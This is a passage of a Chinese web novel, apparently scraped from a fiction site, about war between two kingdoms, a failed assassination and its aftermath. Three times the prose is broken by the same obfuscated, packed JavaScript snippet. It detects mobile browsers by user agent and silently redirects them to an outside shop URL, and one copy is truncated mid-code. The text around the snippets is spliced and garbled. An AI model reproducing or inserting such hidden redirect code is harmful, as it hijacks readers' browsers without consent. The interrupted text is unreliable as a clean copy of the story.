“姐姐,不要放弃好不好?我们都不要放弃,我带你去蛮疆、西羌,一起想办法。我跟你还没过够——” 舜英一瞬不瞬盯着他许久,眼神从震惊过渡到悲凉和绝望,缓缓涌出泪花,忽然扯了扯唇角,轻轻开口。 “阿洵,这辈子太糟糕,很多事都错得离谱,我和你都已面目全非,回不了头了。下辈子,如果有下辈子,早点来找我。” “我们干干净净地,好好开始……” “我不管什么下辈子”,苻洵声嘶力竭地呼喊,泪水夺眶而出,“就只要这辈子,姐姐,如果你身子好起来了,我们就继续这样过下去。无论在翊国还是在哪儿,可好?” “我不知道”,舜英摇摇头,挤出一个微笑,“我多活一天,都只会是翊国的女君,何况我还有心愿未了,剩下的日子无法陪着你了。” 苻洵紧紧攥住她的手,认真恳求道:“无论姐姐什么心愿,只要不是发兵攻打荣国,都请带上我,我们一起去完成。” . 阳春三月,千里莺啼绿映红,水村山郭酒旗风。 苻洵正在将军府打点行装,装备白袍卫、收拾干粮,写信辞官…… 一匹驿马飞驰而来,停在将军府门口,郎琊接过信看了看,懊恼地捶了自己额头一拳。秦川好奇地伸过头看了眼,脸上跟打翻了染缸一样精彩,悄声嘀咕。 “小夫人也来了?” “主子这桃花债啊……什么时候能了结?” “我就说他悔婚那事干得不厚道,好歹三言两语说清楚啊。” 郎琊叹了口气、心乱如麻:“乘车来的,还有十多天才到,估计那会儿你们早出发了。到时候,将军府就留守我一个,可怎么是好?” 秦川眼珠子转了转:“咱们先把这消息给主子,不如这样……到时候你好好接待她,先别把话说死,稳住她几个月?” “褚娘子时间不多了,小夫人毕竟跟了主子七年多,指不定过几个月主子又回心转意,到时还有个转圜。” 郎琊打量了他一眼:“你最近变聪明了。” . 建宁七年的春天格外冷,直到上巳节前后,被积雪封锁的平虞道才部分解冻,两匹枣红色快马飞驰着南下。 迎面驶来一匹漂亮的白色小马,马背上的白衣女子身材矮小精悍,远远招呼:“开阳、玉衡,好久不见!” 三人进了路边的茶肆,挑了个僻静的桌子坐下,玉衡笑吟吟地说:“摇光姐姐,北卢郡不是有人么,你怎么亲自来坐镇了?” 摇光豪迈地灌下半杯茶,润了润喉:“首领给我传的密信,让我等今年雪化了,就亲自来北卢坐镇。” 开阳笑容一滞:“她何时给你传的信?” 摇光转了转眼珠子:“去年十月中旬……对了,就是你们杀进武原城那会儿。” 玉衡摇头叹息:“搞不懂,首领的心思越来越深了。” 目光散漫地乱瞄着,忽然盯着一处愣住了,扯了扯开阳的袖子,轻声说:“快看……” 官道上驶来浩浩荡荡一队车马,被护卫在队伍中央的,是一辆双马拉动的安车。停在茶肆门口,车上走下一名袅娜女子,头戴帷帽款款走来。 早春的寒风掀起白纱帷幕,露出那女子清丽的容颜。 摇光顺着他们目光看去,毫不在意地笑了,压低声音道:“像吧?第一眼瞅见,我也吓了跳。” 玉衡惊得都结巴了:“这人是谁,怎么跟首领长得一模一样?” 摇光饶有兴味地悄声说:“她叫锦瑟,是苻洵的妾,本来说要扶正,婚期都定了,就去年十月底,结果大婚前苻洵突然消失了。” 开阳和玉衡对视一眼,满脸难以言喻的糟心,半晌后异口同声地嘀咕:“这都叫什么事?” . 这一年,元承陵改年号为“永嘉”。 永嘉一年三月初五,褚舜英自龙骨关入上阳郡,于都督府接虎符及发兵诏书。 三月十五,封锁了近七个月的神武关轰然大开,褚舜英率临梁郡三万轻骑、三千铁骑攻入武原城。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14345703|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 失去宣氏镇守、朝廷粮草供给的武原城,冲突不休、暴乱不止,翊军攻入城池时,几乎没受到什么有力的抵抗,堪称势如破竹。 三月二十,冯栩再集结十万散骑驰援朔门关,被白袍卫和隐蝠卫提前探知动向。褚舜英北出朔门关,孤军深入千里,重伤冯栩之后,突然停手、捂住双眼倒退数步。 冯栩觑得机会立刻反击,褚舜英身后跃起一名玄袍男子,手执一柄银白长刀,仅一刀就将冯栩手中兵器斩为五段,逼得冯栩倒退几步。 玄袍男子正欲乘胜追击,对冯栩忠心耿耿的狼卫已围了过来。千钧一发之际,褚舜英接线报,有北宛精兵正从后截断翊军粮草供给,遂抱恨收手,下令撤军。 而此时,太尉元晞已派出身九功馆的霍修,率五万步兵驻军武原,死守朔门关、望月关,并从三军郡分了部分骑兵进驻武原。 丢了七个月的两大关隘,再度回归大翊的控制。 . 三月底的地皇山,已是冰消雪化、万物复苏,紫色的兰堇、红色的杜鹃成片盛开,烈烈如连天火海。 舜英和苻洵走在山间小径上,拂开柔嫩的碧草、纤软的树枝,身后跟着秦川、开阳和玉衡,十几名白袍卫和隐蝠卫。 她仰起头,将五指张开覆在眼前,直视撒落林间的金色光斑,遗憾地叹了口气:“这么好的阳光,往后再也看不见了。” 苻洵别过脸去,双手紧握成拳、止不住地颤抖,泪流满面。 他们一路找寻,找到了元旻临终栖身的那个山洞。舜英俯下身去,一片片拾起被血浸透的破碎衣衫,包起来递给开阳。 又去了殒星崖,在崖边找到了天枢他们已朽烂的遗骸,玉衡带人将那些遗骸好生收敛,预备送回昇阳安葬。 这夜,苻洵听她安排,在崖顶结了个帐篷,琉璃灯亮如白昼,照得她本就苍白的脸颊、双唇血色更浅。她正埋头写信,给不同的人分别写了一大摞,却封进同一个木盒,吩咐开阳和玉衡:“回昇阳后,亲手交给师父。” “有些信需要等过些时日再开,偌大昇阳,师父是最了解我的人,知道该何时交出去。” 想了想又说:“把他们都带回去吧……最后的时间,有阿洵陪着我就好。” 秦川在帐外禀报:“主子,锦瑟姑娘以死相逼,让郎琊带她来了武原。” 苻洵皱了皱眉,正要说话,舜英抢在他前面温声开口:“好生安顿她吧,反正也等不了多久。” 她的身体已气血枯竭,有时候说着话就会晕过去。 . 四月初七,玉衡和开阳押送着扶灵车队抵达龙门渡,在等渡船时,玉衡频频向北回望,喟然长叹:“我这事办得……绕了一大圈,她还是去了殒星崖,还多了个苻洵给先王添堵。” 开阳一听他这话,突然愣住了,瞳孔急遽收缩:“不对劲!” 玉衡:“哪里不对劲?” 开阳:“她跟苻洵,好得太快了。” 玉衡一头雾水:“不算快吧,之前在灵昌的时候,首领就好像对他也有点意思。” 开阳却已叱令纯钧赶紧带人掉头,回地皇山去。看着纯钧走远,才语重心长地叹息:“你在外流浪太久,不懂从小相濡以沫的感情。就算首领是被陛下强娶,到底二十几年情分在那,没那么快过去心里那道坎。” 信函送到桐花别苑时,元晴正在后院与元璟叙话。 元璟打开木盒,直接拿起画着梅花的那封,抽出信纸瞥了一眼,脸色大变,失声惊呼:“快!快去把她带回来!” “绑也得给我绑回来!死都给我回到昇阳再死!” 元晴拾起飘落在地上的信,看了片刻,忽然笑了起来,笑声越来越大,笑得全身颤抖、泪如雨下。 “她果然什么都知道!” “她果然言出必行,血债血偿,一个都不放过!” 117. 翻云覆雨手 玉衡和开阳本来心里就不踏实,听元璟和元晴如此说,顷刻什么都明白了,心头轰然大震,急忙飞奔出院门跳上马背,调转马头、疯狂向着西门疾驰。 四月十二,他们在建兴城南郊撞上纵马南下的纯钧。 一见他二人,纯钧忙勒住缰绳,身子一软、无力地跌下马背,撑起上身跪地大哭:“晚了!首领她没了!” 四月初十夜,月黑风高,纯钧带人抵达另一个山头、稍事歇息时,他拿出千里镜看向殒星崖。 帐篷内外照明,用的都是琉璃灯,又白又亮。他清清楚楚看见,舜英气弱力衰,强撑身子依偎着苻洵,两人一起进了帐篷,隐约可见他们紧紧拥抱的投影。 然后,帐篷内灯灭了。 他摇摇头,打算放下千里镜,帐篷内却骤然灯火通明。 随即,不断有血激射到帐篷内壁。 他心惊肉跳,忙放下千里镜、招呼属下收拾家伙。临走时不放心,又端起千里镜瞥了一眼,只见郎琊率领二十多名白袍卫匆匆赶来,围住了帐篷。 郎琊身先士卒冲进帐篷察看,刚踏进帐篷立即后撤数步,对面是飞奔而出的舜英,她浑身是血冲出帐篷,直奔向崖边。 纯钧撒腿狂奔,花了一个多时辰才跑上殒星崖,只看到喷溅了满地满帐篷的鲜血,以及一缕被撕裂的素色碎布,挂在殒星崖边的嶙峋尖石上,空空荡荡随风飘扬。 想是舜英刺杀苻洵之后,也从殒星崖一跃而下。 半个月后,摇光传回确切消息:苻洵身中七刀,刀刀捅穿了身躯,最后一刀更是刺入他左边胸膛,贯穿心脏的位置。 如此致命的伤,居然没有死,只是重伤卧床、昏迷不醒。 元晴百思不得其解,只能猜测某种民间传闻,有极少数人的心脏,并不长在那个位置。 不由再度感慨,昭明既出,无人能挡,时也命也。 不到一年,先王及其遗孀先后离世,震耳欲聋的景阳钟声,昼夜不歇敲了数遍,响声逐渐喑哑。 又一次国丧,举国缟素。 永嘉一年四月初十,褚太后薨逝于武原城,阳华山亦不能敛其骨,仅以翟衣、常服、战甲封入棺椁,与翊庄王的棺椁一起,比肩停放于朱明院。 一同葬入棺椁的,还有那支她戴了七年,从不离身的彩玉木槿簪。 纯钧赶到殒星崖时,那支簪子落在崖边,那碧色的茎杆叶片,玲珑剔透、层层叠叠的紫色花瓣,跌得四分五裂,尽数浸在血泊中。一片片捡起来后,血红已沁入玉质纹理,怎么洗都洗不干净。 那场刺杀本该是万无一失的…… 舜英并非一腔孤勇,霍修出身九功馆、与她相熟。他们不知何时早已谋定,霍修带武卒和弓箭手,埋伏在白袍卫逃回的北卢郡的路上,伺机截杀。 事到临头,霍修却迟疑了,因为他在出逃队伍里看到了“舜英”,她穿一袭显眼的藕荷色罗裙,用身体替苻洵挡下了数箭、昏死过去。 霍修不明所以,加之投鼠忌器,就此错过了截杀的最好时机。 就这样,白袍卫护着重伤的苻洵和锦瑟,一路下地皇山、过武原盆地、翻临梁山、渡伊河,逃回了北卢郡。 舜英不动声色,筹划得天衣无缝,她自己却成了唯一的意外。 魑魅搏人应见惯,总输他,覆雨翻云手。 . 四月二十六,秦川率白袍卫趁夜渡过伊河,摸入防守森严的朔宁府边户都督府,刺杀霍修未遂,仗着一身好武艺逃离,却损失了十余人。 五月初二,开阳、玉衡夜闯威远将军府,刺杀苻洵未遂,亦仗着一身好武艺逃离。却暴露了摇光,由此引来血腥的清洗,摇光及驻北卢郡的四十余名密探皆被诛杀。 五月初四,郅阳骁骑将军薛怀嘉率两百武卒,趁夜横跨半疆,渡河突袭武原城,刺杀霍修麾下两名亲信以示报复。 冤冤相报,没完没了。 五月初十,翊王元承陵抓住苻洵重伤的时机,诏令平西侯姜榷,倾上阳郡之兵,南渡伊河攻打龙骨关。 一场刺杀,一场国丧,剑拔弩张了三年多的两国,正式开战。 英平郡驻军不过两万轻骑,三万步兵,面对武焕率领的三千铁骑毫无招架之力,半月之后,龙骨关失守。 姜榷和武焕率三千铁骑和五万轻骑长驱直入,攻占英平郡首府镇安之后,一路北上,势如破竹。 六月初一,郅阳骑兵被击溃,部分逃往西羌、被诸小国分别截杀,部分往逃入北卢郡。 六月初三,姜榷大军抵达北卢郡时,先逃入北卢郡的英平郡守军,在沈绍宗的组织下,迅速在郅阳与北卢两郡之间挖出两丈宽的壕沟,伐木筑起堡垒,严防死守。 此时,三郡轻骑已损失过半,只剩两万余人,步兵更是惨不忍睹。 六月初十,苻沣诏令奉宁刺史萧南图从各州郡调拨一万精兵,从后路截断翊军粮草供给。 姜榷、武焕并不恋战,立即调转方向突围,撕破萧南图大军的防线,直退到龙骨关。却不出关渡河,而是就地占领龙骨关,将荣国军队锁在关内。 “苻洵真乃国之长城”,血红的残阳下,姜榷在龙骨关城楼之上闲庭信步,看着北卢郡的方向,喟然长叹,“失了他坐镇,每场战役看看人数和粮草,就胜负已定。” “也不知他之前以一敌十、敌百是如何打的?” 武焕失笑:“最好还是别见识了。” 姜榷喟叹:“可惜,当初就差那么一点,让他捡回一条命。” “为这事,老六这大半年都跟丢了魂似的”,武焕苦笑,“他说,当初同生共死的三个,如今只剩他一人。” 姜榷默了半晌,缓缓悲吟,“向河梁、回头万里,故人长绝。易水萧萧西风冷,满座衣冠似雪。” 武焕听得些惆怅,望向北方,忽然心念一动:“当时北卢郡久攻不下,何不让朔宁府配合,从望月关渡河夹击?” 姜榷面有难色,犹豫片刻后艰涩道:“五郎,你站稳些听,莫要太哀痛……” “北疆出大事了,朔门关、神武关已破,武原、临梁已失守!” “我守在此处,就是在等昇阳的诏书,是继续围困龙骨关,还是驰援北疆。” . 五月十七,北宛大将慕容飞率五万散骑,破乌桓边墙之后并未攻城,只避开翊军,游荡在偌大宣庆、燕州平原,四处杀人防火、打家劫舍,成为一股强劲的匪患。 谢朗率抚恩兵四处剿杀,元晞担心北宛再生变故,亲自北上坐镇广宁郡。 五月二十八,北宛大将赫连骛率十万散骑从乌桓边墙南下,怀戎郡四处求救,不止元晞率军去了,霍修也率步兵出武原城、在西路堵截。 原本是常规的协同作战,这次却出了问题。 五月三十,一队武卒翻过乌兰山,先从边墙暗门入、打开朔方门,后攀悬崖、爬峭壁,悄无声息边走边杀,一夜之间打开七重瓮城。放两万北宛精兵入城。 那个恐怖的清晨,冯栩与大将拓拔宇率两万精骑攻入武原城,朔宁军的噩梦又回来了。 这次,他目标十分明确,每名精骑配备好刀二十把,入城后不奸淫掳掠,只杀人放火。 失了主将坐镇的武原城乱作一团。 武煊一接到朔门关破的消息,立即安排铜汁浇门,整兵备战。铜块还未熔化,临梁郡不知从哪儿冒出三千狼卫,一把火烧了粮草库。 紧跟着,临梁骑兵刚刚整肃完毕,马匹还没喂饱,地皇山又冲出两千武卒,与城内三千狼卫里应外合,一把火烧了马厩。 东郊大营缠斗正酣,神武关三重大门轰然倒塌,拓拔宇率两万北宛精骑砍瓜剖豆般冲进城内,片刻不歇地杀人放火。 从朔门关大开到神武关失守,仅用了两天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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上阳骑兵仗着人多,遇树砍树、遇石挪石,终于在六月十七打散了木石阵,成功渡河北上,与武煊合兵。两万北宛精骑再是骁勇,也被挡了近半月,甚至不进反退。 如此局面并未维持多久,七月初三,苻洵率六千轻骑、三万步兵出现在龙骨关。 苻洵的加入迅速打破了平衡,他这次并未孤军深入。而是由白袍卫开路,强渡伊河之后,三万步兵直接包围了防守空虚的上阳郡,以此切断建兴城的粮草供应。 同时,郎琊、高轩、薛怀嘉各领两千骑兵,神出鬼没地四处设伏,击破驰援建兴城的各路军队。 此刻的建兴,北有北宛骑兵,南有荣国步兵,已成一座孤城。 半个月后,断水断粮的建兴城已脆弱得像一只空壳鸡蛋,只要北宛和荣国任一方稍加用力,即将碎成齑粉。 冯栩却气定神闲,既不增兵继续攻打,也不建造攻城器械,只稳稳挡在建兴城和临梁郡之间。 很快大家都知道了他的目的。 霍修的步兵翻山越岭、艰难厮杀一个多月,七月二十回到武原城下时,遭遇了军容整齐、严阵以待的北宛步兵。 冯栩对建兴城围而不攻的一个月,竟是在源源不断迁来散兵,进驻武原、临梁,他要守住这两座城。 有史以来,北宛擅攻不擅守,劫掠四方、漂浮不定,如此步步为营,攻一地、守一城的蚕食之法,前所未有。 七月二十二,苻洵开始收束军队、点检辎重,准备拔营动身。 那天黄昏,建兴城以北,沉寂许久的北宛骑兵忽然动了,冯栩率了一队狼卫绕过城池,直窜上阳郡。 荣国步兵一片哗然,唯独苻洵坐在马背上,面无表情盯着疾驰而来的人马。 冯栩勒住缰绳,迅速翻身下马,疾步走到苻洵的马前,然后—— 弯曲双膝,恭敬有加地三跪九叩,一字一字朗声高呼。 “愚徒狸儿,向师父请安!” 118. 沧海横流 “疏林落羽纷凌乱,回首青霄各分散”,苻洵抬起千里镜,望向烟尘滚滚的北边,笑得双肩颤抖,“嚯……各领各的兵,各打各的仗,好热闹。” 秦川和郎琊对视一眼,撇了撇嘴,满脸一言难尽。 两人等他回中帐,端了汤药进去,劝道:“主子,伤还没好全,能歇就好生歇着吧。” “今天心口疼了几次?” 苻洵端起药汤一饮而尽,皱了皱眉:“不多,也就二十几次。” 秦川嘴快:“要不歇歇再攻怀阳?” 苻洵摇摇头:“咱们这一番筹谋,图的就是快,再歇歇时机就过了。” 出了帐篷,秦川开始撒娇:“好哥哥,主子说的时机,是什么?” 郎琊觑了一眼中帐,压低了声音:“永嘉王跟庄王不同,庄王是打小就照国君培养的,对政务军务极其熟稔,才能即位之后短短半年就把权柄抓进手里。” “永嘉王是元晞长子,行兵打仗有两把刷子,却年纪尚轻、缺少历练,也缺了点运筹帷幄之才。翊国如此大体量,粮草供给、各路兵马的情况,他接触不久、暂时不甚清楚,反应自然慢些……这就是主子说的时机。” “饶是如此,他小小年纪就能屡次打胜仗,自然不是个草包,若咱们不趁热打铁灭其主力,等他过段时间缓过来,组织反攻的话,颇有些棘手。” 秦川恍然大悟,感慨道:“庄王聪明一世,唯独选错了继承人。” “并未”,苻洵走出帐篷,唇角噙一缕玩味的笑,站在他们身后,吓得二人打了个寒噤,“有两个人,同样熟知翊国各路兵马、兼具运筹帷幄之才,本来可以辅助元承陵渡过这段交接期。” 秦川好奇:“谁?他们何在?” 苻洵眼神寥远,悠悠道:“都死了,一个是元晞,一个是……” 他笑容消失了,眼中晶亮闪了闪,埋下头不再说话,转身回了营帐。 许久,郎琊喟然长叹:“也是翊国气数将尽。” 最年轻有为的国君死于非命,元晞被冯栩刺杀,褚舜英即使不死在殒星崖、也会死于重病。 可这所有的亡故,哪一桩哪一件,没有苻洵明里暗里的算计和推动? 七月三十,苻洵率三万步兵抵达怀阳,洺州刺史姜娥率军驰援,荣军腹背受敌、战况胶着。 八月初十,在断水断粮的情况下,死守五十多天的建兴城终于被攻破,城破之时城中仅剩不到两百活人,姜榷、武焕战死,武煊下落不明。 解决了建兴之后,冯栩率军一路东行,两天时间就抵达了怀阳。姜娥见势头不好,即刻反身撤回洺州,洺州背负平原粮草,城墙高固、屯粮丰裕,冯栩竟无处下手。 就在此时,苻洵收到了班师回朝的军令——崔长治以五千武卒打头阵,率五万大军,一路攻破宕渠、通安、定远、遂州,正攻打陪都金阙,灵昌告急。 苻洵接过来看了看,漫不经心地笑了,眼神冰冷而阴鸷,将那张诏令撕成千万碎片,随手扬进风中。 “我相信王上有守城之能,也相信沈绍宗、萧南图等人不会眼睁睁看着国都沦陷。” “不破昇阳,苻洵誓不为人!” . 伊河对面,元承陵已组织起十万步兵在洛京、商都、昇阳、睢阳拉成防线,洛京大营的水师倾巢出动、在伊河日夜逡巡,只等敌军开始渡河便即刻清剿。 苻洵却突然不急了,就在怀阳城南郊安营扎寨,每日用千里镜遥望河对岸,似乎在等什么。 三天之后,洛京城内,戎陵山东麓突然钻出五千铁甲武卒,以迅雷不及掩耳之势、冲入洛京各大马厩,迅速将自己装备为铁骑。 当夜寅初,五千铁骑将翊国伊河以南的防线撕开一个口子,接应由白袍卫打头阵、渡河而来的三万步兵和六千轻骑。 大翊骑兵几乎都聚在伊河以北,正深陷与北宛骑兵的乱战,苻洵这六千轻骑、五千铁骑,几乎所向披靡。 秦川瞠目结舌:“主子,这五千铁甲武卒哪来的?” 苻洵懒懒地笑了:“元昙长公主送我的。” 他心情似乎好了些,耐心补充说:“山里到处是木石阵,又不能飞天,就只能遁地了。” 很久之后,秦川才理解了这两句话的含义。 半山居背后的竹林深处,不知何时已挖通一条暗道,可容一人侧身通过。暗道外是山坳、山坳外又是暗道,几十条暗道和山坳,连接成一条长达六百里的快速甬道,可从英平郡澄阳直通洛京。 不久之后,苻沣派亲信沈绍宗、萧桓监造,从英平、郅阳、凤台三郡抽调步兵,以这条甬道走向为凭,在山体之中掘出一条宽约五丈的官道,史称“澄洛驰道”。 又因该驰道的前身——行兵暗道,由建业侯苻洵勘探挖掘,后期的修建扩张均有苻洵保驾护航,世人感念其功绩,将此道别称为“建业道”。 澄洛驰道建成之后,从英平郡到洛京无需再渡两遍伊河、经上阳郡,这条道路,彻底打通了伊河、戎陵群山对荣国和昇阳的阻隔。 翊庄王统治大翊的那六年,国富民强、兵多将广,锦绣城池、歌舞升平。 苻洵避其锋芒,马不停蹄地勘探地形、布局谋划、厉兵秣马,半刻都不曾停歇。 永平一年六月到永平五年四月,是元昙如愿与心上人相会相伴的四年,却是苻洵借半山居掩饰,开掘暗道、摸清洛京各大马厩和粮仓底细,虚与委蛇的四年。 八月十五,荣国三万步兵攻占存粮丰裕的洛京城,以此为据点,以图东进。 本是阖家团圆的佳节,洛京城家家关门闭户,冷寂无声得好似鬼城。 苻洵治军极严,一经发现士兵滋扰平民,即刻军法处置,他不愿任何人损伤这座城池,哪怕一分一毫。 是夜,苻洵卸下铁甲,换穿素袍,迎着乍起的秋风,安步当车走在空荡荡的街头,晃悠悠逛了一遍又一遍,好似一缕无所依凭的游魂。 古人无复洛城东,今人还对落花风。年年岁岁花相似,岁岁年年人不同。 走到后半夜,他终于找到了那座客栈,因地段冷僻经营不善,已贴上了转让的布告。苻洵让人明天循着布告上的地址,给原店主送去市值三倍的财帛,权当买下它。 店门的牌匾有些松动,鲜亮的朱漆已暗旧剥脱,中规中矩写着店名“相见欢”。 泪雨霖铃终不怨,只因相见欢。 推开店门进入,潮润的灰尘扑面而来,木楼梯有些朽坏,踩上去发出轻微的“吱呀”声,他置若罔闻,一步一步走到最顶层。 走走寻寻,找到当年那间天字号上房,他就着满屋潮气和霉味,躺在暗旧的床上睡了一觉。 第二天,苻洵迷迷糊糊地醒了,坐起来直起上身,张开双臂环作一圈,任秋风从窗外吹来,穿过空空如也的怀抱。 什么都没有。 他在杂物间找到一把锄头,走到院中的桂花树下,开始掘土。他掘得很慢,每挖几锄就要停下来、捂住心口歇息片刻,却没有停,直到挖出个长四尺、宽两尺的深坑。 花梨木制成的长条形匣子,胭脂红的绸缎底垫上,静静卧着两柄银白色的刀。同样的款式,一大一小,正好一对。 纤云弄巧,飞星传恨,银汉迢迢暗度;柔情似水,佳期如梦,忍顾鹊桥归路。 轻轻抚过纤云,从刀柄到刀身、刀锋、刀尖,刀柄似乎还残留着淡淡余温,秋水般的刀身上,似乎仍流淌着汩汩鲜血。 那血,有他的、也有她的,滚烫到极致、也冰冷到极致。 原来,爱的极致,是恨。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14365522|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他凝神看了一阵,缓缓合上匣子,用铁钉将匣盖一根根钉死。把刀匣放进土坑,双手捧起一抔又一抔土,撒落、掩埋…… 一边掩埋,一边喃喃低语,声音轻柔,似情人的呢喃。 “褚王后已死。” “翊国也将不复存在,以后,将再无翊国、荣国之分。” “我们干干净净、毫无挂碍地,重新开始……” “不要忘了我,下辈子我来娶你。” “下一世,我一定早点来找你。这一世我来得太晚、太晚了……” 他眼眶通红,疼得似要裂开,却流不出一滴眼泪。 “主子何必还念着她”,秦川有些不忿,“主子对她掏心掏肺,她却反过来捅你刀子,算什么?” “算我欠她的”,苻洵专注地掩埋着刀匣,头也没抬一下,“算冤冤相报、血债血还。” “我害死了她的国君,还险些害死她,她也差点杀了我,我们扯平了。” “我与她,这一世的罪孽已赎、恩怨已了。” 埋好刀匣,堆了个小小土丘,似一座新起的坟茔,苻洵又竖着埋下一块石板,权作墓碑。然后,头也不回地转身离开。 小小的墓碑上,錾刻着他们潦草的十二年:要见无因见,了拚终难拚。若是前生未有缘,待重结、来生愿。 . 八月二十七夜,苻洵率白袍卫绕到商都北郊埋伏,趁商都为伊河边守军供应粮草、开门的须臾,杀入城内,绕城奔驰四分之一圈,从内打开商都西城门,薛怀嘉、高轩率轻骑重骑一拥而入,商都失守。 位于洛京、商都之间的龙门渡口,落入荣军的掌控,伊河两岸被切断关联。 商都城破之日,姜嫣携元承赟、元念笙等子女,率八百太尉府兵抢渡过河,直奔洺州、燕州。 姜嫣及元承赟的北上,使得北疆战况再度生变。 元承赟十四岁入军中历练,随谢朗在宣庆掌兵垦荒六年,姜嫣生于长于洺州、世代将门虎女。母子俩入洺州之后,不到三天即接管了洺州、燕州。 此时,谢朗、霍修与北宛散骑乱战近三个月,依靠对地形的熟悉、逐渐扭转败局。 毕竟,北宛人再多,也不是杀不完的。 九月初二,元承赟坐镇燕州首府宛平城,整合了一盘散沙的霍修残部、三军郡、燕州、洺州各路兵马,有条不紊地组织对冯栩的反攻,一点点将北宛骑兵赶回西线。 苻洵举起千里镜,看着节节败退的北宛精骑,神色冷漠。 然后,看着从戎陵山暗道出来的两万援军,指了指龙门渡口,淡淡地说:“把这儿拆了。” 秦川讶异:“咱们不管狸儿了?” 苻洵面若冰霜、眼神冷厉:“什么狸儿,那是北宛汗王冯栩。” 郎琊沉声道:“主子,有些不对劲。” “元承陵集结的十万大军,定是抽调了方圆五百里各郡县之兵,可这都二十多天了,怎不见有新的援军到来?” 苻洵沉吟半晌:“还有更不对劲的,郎琊,你可知翊国有一支大军,荣国一旦对上,绝无胜算。” 郎琊脸色大变,霍然抬头:“三万水师!” 苻洵闲闲笑了:“正是,从中秋那天洛京被占,洛京大营的长济水师就没了踪迹。其次,崔长治打金阙,打了一个多月还没攻下来?” 郎琊无言以对,金阙被攻下来,是什么好事么? “秦川,你带上斥候营,趁夜里绕过昇阳,去东线瞅瞅”,苻洵低头沉思,神色逐渐沉重,“眼下不怕他们驰援昇阳,就怕他们不来救了。” 他忽然仰起头,看向晦暗的天际,笑容恍惚:“姐姐,你给元璟的那些信,究竟写了些什么?” “你直到死,都在盘算着如何应对我啊——” 119. 国破山河在 九月初五,斥候营带回消息,过了昇阳往东,翊国东线平原,所有郡县、村镇都空了。不仅没有军队和平民,连粮草、布匹、铁锅、柴薪等物资都没留下半分。 昇阳东线平原的三十多座城,干干净净如同鬼域,坚壁未遂、清野已成。 苻洵立即率骑兵奋起直追,元承陵却领着剩余的几万大军,以昇阳为界,挖出了宽达两丈、深约一丈半、长约数百里的壕沟,在壕沟以东架设鹿角刺、拒马桩、弩床等物,将他们死死挡在壕沟对面。 元承陵组织的大军,不是为了拒敌伊河以北,也不是为了死守国都,是为了掩护满朝文武、宗室,平原众城的百姓、军队从东线撤离。 洛京长济水师不知所踪,灵昌却传来其他水师的消息。 九月初十,翊国平南侯元旭,集结滬南境内四万水师,又从四大州府调拨两万步兵、与陆斐麾下三万精锐合兵,共计十一万大军,沿长流川一路西进,打过阜门峡。 九月二十六,渝安水师全军覆没、珪山沦陷,大军兵分两路,沿羌水、良水齐头并进、一路北上,驰援崔长治。 灵昌,苻沣八月初发出班师诏令后,并未等待苻洵率军回援。而是亲自挂帅,整肃国境内尚存的所有兵力,一边抵御金州军,一边派人拓宽从澄阳到洛京的暗道,伺机为久攻不下的苻洵补给粮草。 存亡之际,苻沣再一次不计前嫌,与幼弟站上了同一条战线。 十月初十,打得懒懒散散的滬南大军,忽然齐齐从水路撤离,只剩崔长治的金州军,仍在灵昌平原与苻沣僵持。 与数倍于己方的敌方精兵支撑如此之久,近两月的守城之战,也令朝野上下对苻沣印象大为改观。 所有人首次意识到,苻沣不是什么庸碌的傀儡国主,他上马能战、下马能治,任由苻洵骄横跋扈,并非是怯懦软弱,仅仅是因为顾念大局和珍惜亲情、对兄弟宽厚。 十月二十,苻洵付出了极其惨重的代价,终于攻进已成鬼域的昇阳。 元承陵一直战斗到长刀卷刃、力竭身亡,崩逝于大庆殿前。 永嘉王元承陵,生于征和九年,卒于永嘉一年,短短二十二年,还没来得及学会元旻的治国之才,先学会了他“君王死社稷”的铮铮铁骨。 苻洵站在大庆门下,垂下手中滴血的长刀,默默注视元承陵的遗体,良久回不过神。 然后回身,登上明德门,亲手为其敲响景阳钟,三万声。 “以君王之礼,厚敛!” 从明德门出来,苻洵调转方向往东疾驰,纵马冲入朱明院,一眼就看到了供奉在前堂、比肩停放的两具棺椁——翊庄王与褚太后。 他先以三跪九叩之礼、郑重拜过翊庄王灵位,又支了个火盆、捧起黍稷梗撒入,再为翊庄王上了三炷香。 然后,起身走到褚太后棺椁前,命人推开汉白玉椁。拔出佩刀,一根一根撬出金丝楠木棺钉入的木楔,一把掀开了棺盖,一样一样地,拿出棺材内的王后衣冠、绣有王室纹饰的常服、战甲、彩玉木槿簪。 在院中架起火堆,将它们付之一炬。 棺内只剩三套常服,没有任何王室纹饰,苻洵弯腰捧起它们,珍惜地贴在胸前,慢慢走了出去。 又让人将棺材和灵牌也抬到院中,劈碎了丢进火堆。 走到院门时,他隔着熊熊焰光,回头看了眼那具孤零零的棺椁,笑了。 “她是我的。” “埋进阳华山,在元氏王陵化成灰的,只会是你。” . 苻洵在昇阳休整两天后,安排高轩和薛怀嘉率骑兵班师、回援灵昌,自己则继续率兵沿东南官道追击。 